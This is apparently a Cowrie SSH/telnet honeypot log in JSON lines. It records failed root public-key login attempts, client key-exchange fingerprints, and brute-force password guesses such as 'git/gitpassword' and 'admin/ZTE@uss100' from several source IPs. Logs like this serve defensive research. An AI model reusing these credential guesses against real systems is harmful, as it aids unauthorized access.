{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:29:5e:36:0a:92:cd:74:ed:84:a7:9e:47:28:9c:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1cdgbHtJyebV1VjRQIGLQslx+rIKnuTRIXuFuKMEmH47hH59qvtZQPOGDvpLAXkQzP3BTlT7cvSa5moESnMdsyZjQOrhaLFYz7zhQMEokZeFmFxRXN5TUKacQnVPuNtl43mrgmPygjpgUGi/7l9h0G1dwztH3yISGvebMtqJlDbcwBOoikGNXsuqTlNaoy6N8A4Z5ZuQjYUGJxOeLAeSztZ+3TaWANVQBq0BUyhwis9Nb8AOmR6+1LgKx10Z4hNBJJAQls6157rbEcfjzkXhFIMot40wt2N592xxRDBV2WWfUT2s7WUCq/O915eHvnZN8I4dWsiEzgACmuFFRjJtmsj4jjwdUNRYhziMEQRFTX0589Tk7+8P1Ou3PpoCYGjEHRm6rsFghQEhMY8cYK8Pic5NspziKMkXgYVuNqE1t+m/RNHyBzYzqNHuUJSmesTBhXOtIWufKXbwbQTk6JwjrrC+8+HUIFbi1sf1L+G/xy6TsTnxt/VzMKg7UZmLUy1yuPVFrgqe8+NTr68iLPvlyW0/UZ0+QMYo96PvGXWeEhy92SNGl3J5gy6pw6M34aflB2Z5QdPzJQ6R2xgUmbW7oxmIsx+rCyNQVjQ3UqAi9LcWeYhoHAmgstKzXgPDaBNxW3g7fsTHOI5Z06aiJ987bfLbSnJ1CqiyThgGysFhE5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.892447Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:3a:bd:9e:c8:49:58:75:2f:96:30:fc:fe:4f:9c:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRQ7V/rghNJbLZr29phkuXijNKwjtztO8hM+UzJTtyldEWrzD8hr7ZRDDfLqdC0Zpni5hIP/3FUOMezjUTqf+UZcIwxUrtvFfoqW6RSJc1rNBG2uIfUm5CnQ4g+U+GZ4ci4q/FbMJDoGpEmEN8jU/+pmWJXH8FMzWG7N/cVY9101SxAAvNl1/trf5ioYnpyTYSpalglHYMQ3G1qpF2oPUFzf5HxaJOIDiUnffXK3oXu7evFjO0CnmjlZLPYzUs1eIqTVYPkQ2CIVvNV6g8YG2KA1/Xv2bfiDxYkpjsaDyXCWy6l1pFTL23CEtBb18iCDuZRKRKGnsqkrOBEj0ttb7V5yclgsnbJ1Pxgz1YHxZH3lKAj9NawgC5dbBe4zsQDg9IsHwzqxd9QUum1IQgJAAtW15TSMehNEJWZ2DyAu0xQiRgyZmh6dTWOKBkfWBljYdh5jR6HMYcpIu+QJzgAOkI/QNhpphg+veOFYO6d0FQiRC/16pOyRHp/JrASGY81iJdtURR/om56gjiF7h4Kr9zOzm5tXMYOcQZ2p1KViwtBdcj+Zz6oF5sIpQ2r1sbsoFQTU4HpmRVG+cApruNCjcVYt5IiWfsw9zZDJTXh7NJm1IA1WtQBXuqHOMJJ7k7BWg9zaO8b4/R2wnWvWSFIeGJI/L8SEY3lbKCtXcjkyuaPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:3a:bd:9e:c8:49:58:75:2f:96:30:fc:fe:4f:9c:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.990702Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:3a:bd:9e:c8:49:58:75:2f:96:30:fc:fe:4f:9c:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRQ7V/rghNJbLZr29phkuXijNKwjtztO8hM+UzJTtyldEWrzD8hr7ZRDDfLqdC0Zpni5hIP/3FUOMezjUTqf+UZcIwxUrtvFfoqW6RSJc1rNBG2uIfUm5CnQ4g+U+GZ4ci4q/FbMJDoGpEmEN8jU/+pmWJXH8FMzWG7N/cVY9101SxAAvNl1/trf5ioYnpyTYSpalglHYMQ3G1qpF2oPUFzf5HxaJOIDiUnffXK3oXu7evFjO0CnmjlZLPYzUs1eIqTVYPkQ2CIVvNV6g8YG2KA1/Xv2bfiDxYkpjsaDyXCWy6l1pFTL23CEtBb18iCDuZRKRKGnsqkrOBEj0ttb7V5yclgsnbJ1Pxgz1YHxZH3lKAj9NawgC5dbBe4zsQDg9IsHwzqxd9QUum1IQgJAAtW15TSMehNEJWZ2DyAu0xQiRgyZmh6dTWOKBkfWBljYdh5jR6HMYcpIu+QJzgAOkI/QNhpphg+veOFYO6d0FQiRC/16pOyRHp/JrASGY81iJdtURR/om56gjiF7h4Kr9zOzm5tXMYOcQZ2p1KViwtBdcj+Zz6oF5sIpQ2r1sbsoFQTU4HpmRVG+cApruNCjcVYt5IiWfsw9zZDJTXh7NJm1IA1WtQBXuqHOMJJ7k7BWg9zaO8b4/R2wnWvWSFIeGJI/L8SEY3lbKCtXcjkyuaPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:29.995561Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:09:ba:ba:bb:a0:65:77:4d:6c:24:3d:86:78:2e:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaXfwZI05O20jNLb5Hm867RNK3ESKAN3JrluDUeH4IlGFOrUtvBpl4YYVY4C7H4VYMlo6BVcVGYh5UmcvzypSZtqBcL5Xodv4J8GtOl52wOK8tdNRjoR5cBletZdLU+psKrPtwTlEKmji+1m8kRSqbT6dSHOnCDF8rpVilidGtvoXNQT8w2QzOkZmRG1YOGR5eu8I5sf8WPTgOzeg41IO7DQU8PxVc+FMZ+AjY+HyWYcOEfUK9EPtq1yxYw0E4EYANE51oxiUq72F914P+isL41Yw1v6h99Es3Shbdc9PpKhKOQVY3eZ6kYKEauj0FqC0n5K2bgBzJN4gdj2Mnmnhw5Wx8ghEfRZ2vnGi88ieESzvnE7S2vLcjQkqFzu4sndRgRXNq9IyEnasygBBQChfR7JR3FNYj6OXhQjd3EnR788z0VGDkPudJf05oHuZiHDV9H05Cr1vx5Ah6v9SFSvjdF+Hm/P+GbnYriduZyWrhPfj49Ub2rnY+bwz98vDhhLZ8CawsPkSdLDB5LRiWO0509nmnFqRl5qELo9dMp7SaWABX88qb6a6M0WJJ84Ab8GA5h9QRCKolqeyQ0TMKX+if0DmV90lTrqYgYblGi+1zbrnP2L3zeuFLzcDYClXoLGIHLXJrhF1KLWCgams4lsXA6mbugVMhFdRMqk1F06xGUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:09:ba:ba:bb:a0:65:77:4d:6c:24:3d:86:78:2e:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:30.090382Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:09:ba:ba:bb:a0:65:77:4d:6c:24:3d:86:78:2e:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCaXfwZI05O20jNLb5Hm867RNK3ESKAN3JrluDUeH4IlGFOrUtvBpl4YYVY4C7H4VYMlo6BVcVGYh5UmcvzypSZtqBcL5Xodv4J8GtOl52wOK8tdNRjoR5cBletZdLU+psKrPtwTlEKmji+1m8kRSqbT6dSHOnCDF8rpVilidGtvoXNQT8w2QzOkZmRG1YOGR5eu8I5sf8WPTgOzeg41IO7DQU8PxVc+FMZ+AjY+HyWYcOEfUK9EPtq1yxYw0E4EYANE51oxiUq72F914P+isL41Yw1v6h99Es3Shbdc9PpKhKOQVY3eZ6kYKEauj0FqC0n5K2bgBzJN4gdj2Mnmnhw5Wx8ghEfRZ2vnGi88ieESzvnE7S2vLcjQkqFzu4sndRgRXNq9IyEnasygBBQChfR7JR3FNYj6OXhQjd3EnR788z0VGDkPudJf05oHuZiHDV9H05Cr1vx5Ah6v9SFSvjdF+Hm/P+GbnYriduZyWrhPfj49Ub2rnY+bwz98vDhhLZ8CawsPkSdLDB5LRiWO0509nmnFqRl5qELo9dMp7SaWABX88qb6a6M0WJJ84Ab8GA5h9QRCKolqeyQ0TMKX+if0DmV90lTrqYgYblGi+1zbrnP2L3zeuFLzcDYClXoLGIHLXJrhF1KLWCgams4lsXA6mbugVMhFdRMqk1F06xGUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:30.100206Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:a3:5b:bb:48:7a:19:79:f6:2d:c2:bd:f4:3c:cf:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkKu/xyKu6l1FynIdWZqrFRawTOgv8jupVN71zfF24NOcBePcPs7u+2dIYewm4bU2UeZOvQP353obMXl4r/hB8g6HpswzVXnlofC442JGojfzKLOFn5M2UtE6qmX5YVaGRcE5RvEWUPWMLdkdRSIaHlQQd2vXc1I9e6Q8610Ft0qkMSujpkM1anB5YuB46XWAOawrreZMdZFeufssY5C1uGR4QQZrz6cth7cB4qzqSGGWR+FOrEy8M8s7H/fqLFe8EJWLjUToLOuYfN70VwdhIu+14q0fDC0MD+8waP82o39mBgnsnzC6TDfxT89mymJTgHlgIOH4FtUTzs4jbh+kiHFuWSmQIhq67m1QnK7Hp8bdKW2+x587x8ct0qoJe0cuaPYdIdfhCqtXaNr4t9juyD3m+4Iv1S/6oxH59T4hxWPtuO3/DlS6TjHtyLMhvN5rczVv83Zr7vmtWjqbOPDh+FWu5DhkSFi6rRuFoe0JiEcX6jTKdPXUXcX1QsKXN3Dl4uMV5zbBkcxRQ3CjWw1BVG0wAhPfytGdNg9k3m66WzuDubx0ZFxpKiqb5lzU9PIew6W81u/5cN11N1Ro8qzn/cbuJLUDq1a/FElnT7SoA9YWjunJRP8yOrIVmSrX2luSEm8wjM6hWS7Xod11hiNZ1bajgm8Wbwe+Rlhaz88GjSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:a3:5b:bb:48:7a:19:79:f6:2d:c2:bd:f4:3c:cf:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:30.190778Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:a3:5b:bb:48:7a:19:79:f6:2d:c2:bd:f4:3c:cf:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkKu/xyKu6l1FynIdWZqrFRawTOgv8jupVN71zfF24NOcBePcPs7u+2dIYewm4bU2UeZOvQP353obMXl4r/hB8g6HpswzVXnlofC442JGojfzKLOFn5M2UtE6qmX5YVaGRcE5RvEWUPWMLdkdRSIaHlQQd2vXc1I9e6Q8610Ft0qkMSujpkM1anB5YuB46XWAOawrreZMdZFeufssY5C1uGR4QQZrz6cth7cB4qzqSGGWR+FOrEy8M8s7H/fqLFe8EJWLjUToLOuYfN70VwdhIu+14q0fDC0MD+8waP82o39mBgnsnzC6TDfxT89mymJTgHlgIOH4FtUTzs4jbh+kiHFuWSmQIhq67m1QnK7Hp8bdKW2+x587x8ct0qoJe0cuaPYdIdfhCqtXaNr4t9juyD3m+4Iv1S/6oxH59T4hxWPtuO3/DlS6TjHtyLMhvN5rczVv83Zr7vmtWjqbOPDh+FWu5DhkSFi6rRuFoe0JiEcX6jTKdPXUXcX1QsKXN3Dl4uMV5zbBkcxRQ3CjWw1BVG0wAhPfytGdNg9k3m66WzuDubx0ZFxpKiqb5lzU9PIew6W81u/5cN11N1Ro8qzn/cbuJLUDq1a/FElnT7SoA9YWjunJRP8yOrIVmSrX2luSEm8wjM6hWS7Xod11hiNZ1bajgm8Wbwe+Rlhaz88GjSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:30.196840Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:30.290361Z","src_ip":"103.161.34.162","session":"23c8eaa11e60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":46880,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd11bbe81d23","protocol":"ssh","message":"New connection: 103.228.69.212:46880 (10.17.0.5:22) [session: dd11bbe81d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:35.518657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:35.523436Z","src_ip":"103.228.69.212","session":"dd11bbe81d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:35.758271Z","src_ip":"103.228.69.212","session":"dd11bbe81d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:36.728529Z","src_ip":"103.228.69.212","session":"dd11bbe81d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:36:37.965929Z","src_ip":"103.228.69.212","session":"dd11bbe81d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":47858,"dst_ip":"10.17.0.5","dst_port":22,"session":"72d087274b3b","protocol":"ssh","message":"New connection: 211.254.212.59:47858 (10.17.0.5:22) [session: 72d087274b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:05.297188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:05.302288Z","src_ip":"211.254.212.59","session":"72d087274b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:05.503506Z","src_ip":"211.254.212.59","session":"72d087274b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZTE@uss100","message":"login attempt [admin/ZTE@uss100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:06.343706Z","src_ip":"211.254.212.59","session":"72d087274b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:07.548939Z","src_ip":"211.254.212.59","session":"72d087274b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.182.115.233","src_port":34809,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d1f8035127","protocol":"telnet","message":"New connection: 109.182.115.233:34809 (159.203.135.109:23) [session: 73d1f8035127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:07.863068Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.160","src_port":24560,"dst_ip":"10.17.0.5","dst_port":22,"session":"232db012d825","protocol":"ssh","message":"New connection: 89.42.231.160:24560 (10.17.0.5:22) [session: 232db012d825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:14.584078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:14.589017Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:14.685008Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:77:42:c0:0e:90:ff:75:4a:7a:1e:6f:1f:d1:2a:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAs3mgQ/kKeOzy9IxdBfrJTcKPqM9+SGU1CnLEQct/PcTP4A9UdoPVMlKgxqR1cmmzy66caDEh+jNee3uCbZ8vtvoyX3XjxyNN+pJL/jQNnPIqwT3KgLFAPZHLS3+qDwHXNsJm/tT+vftNVoOjkNjE7JMNjhUgGO5YkQ55QKUSP8Xnj2QMYI05hUhr6JKOZEgMhvxk29zv9aDz08xKovY0bVdCgYhX5bQf+pvEomgriLNAPG7f24k8nrBSKqYDPI5fVd5WemfmKj38u+1+fxj2K6oBeaCrZfcTDCADiXwLl3eiYesAsWi3D4Wu3cN5GIL6owbbmZ0P2aaZO3xj9Ts70QYENgnuKTsHnuC0Gcwwcfg3X8wO+kjTAY1MaV4kI9B/uRtrQzOLidd/482mmXTCCNiLH8B7FRDXaOLZxPLUfEBNyYKAuNlVYaIypAxB+tZq+M0vnP/QloIWdfWaoKv5Um1Hc0rGLHHAnk90M4e00OdHjhtWdKrwp0w43xJ2QLc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:77:42:c0:0e:90:ff:75:4a:7a:1e:6f:1f:d1:2a:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.112957Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:77:42:c0:0e:90:ff:75:4a:7a:1e:6f:1f:d1:2a:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAs3mgQ/kKeOzy9IxdBfrJTcKPqM9+SGU1CnLEQct/PcTP4A9UdoPVMlKgxqR1cmmzy66caDEh+jNee3uCbZ8vtvoyX3XjxyNN+pJL/jQNnPIqwT3KgLFAPZHLS3+qDwHXNsJm/tT+vftNVoOjkNjE7JMNjhUgGO5YkQ55QKUSP8Xnj2QMYI05hUhr6JKOZEgMhvxk29zv9aDz08xKovY0bVdCgYhX5bQf+pvEomgriLNAPG7f24k8nrBSKqYDPI5fVd5WemfmKj38u+1+fxj2K6oBeaCrZfcTDCADiXwLl3eiYesAsWi3D4Wu3cN5GIL6owbbmZ0P2aaZO3xj9Ts70QYENgnuKTsHnuC0Gcwwcfg3X8wO+kjTAY1MaV4kI9B/uRtrQzOLidd/482mmXTCCNiLH8B7FRDXaOLZxPLUfEBNyYKAuNlVYaIypAxB+tZq+M0vnP/QloIWdfWaoKv5Um1Hc0rGLHHAnk90M4e00OdHjhtWdKrwp0w43xJ2QLc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.117953Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:06:2f:d7:93:0c:0f:08:a4:6f:be:e2:1d:b3:04:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4d+0URckbARAkMHieW4Wh/j5WxbtqgmNKbtdTDF8rox2LjJOamCySvrCUTNb+jMZL+SqFt2ysxz0KORCjE0uok9LSc2MJvUx0jNR2EE3rZYO0XtZCpuWXWIgwI9J7pU9UM+FMyIUX8snnhx6tgPTUozEJq59JePk4ycDVnnBT5rNYXjN6ZgSybnGzDJM5rPb1ChwFf/Zg6g1T7YnCqSQvYlAv+eqc+wQjBy3ZkhOjGZigjaYqxQDvX0h3WpyuIdlUvpqmKZ2QQs+lvWLch/iw7kkjFYk2LZN2CB5wnGQRwJ9LK1Ga1TfMmxukAH7Uo4rT+UM5jUIlBnp3h0eXVNuJvN40wQQ7W10NG8m+n0Yo3cdBdfFbqBpF9XV9xPFWFXoDRgaEEBSDj4bFleOylY3E0/reBr38HjYTvuO5jNNIZXVK2vvwvdAiy2iUWRD5+oFyp5Tzn4sP6vXgNXTJ/JZCjWo0sH/H33p1tA60vIE8DGMNKD7zUyzKskDcJE8uaDUT8pLYJe1SXovgkh6WNl4puciEd+l7Nj6c/iuibGq8UOXflYzQOMBSRY/YFv5AVwu7QPw9LW5+e46EQqs44jIARemQUzlGWEJcAFEKKUgdAS4jahVWuY9XXSkGVGti+nm5S8GygTLuXoouNkJI3GLnr0qS+5dvknH9ZjAO2Wc3Qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:06:2f:d7:93:0c:0f:08:a4:6f:be:e2:1d:b3:04:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:37:15.214723Z","src_ip":"89.42.231.160","session":"232db012d825","protocol":"ssh"}
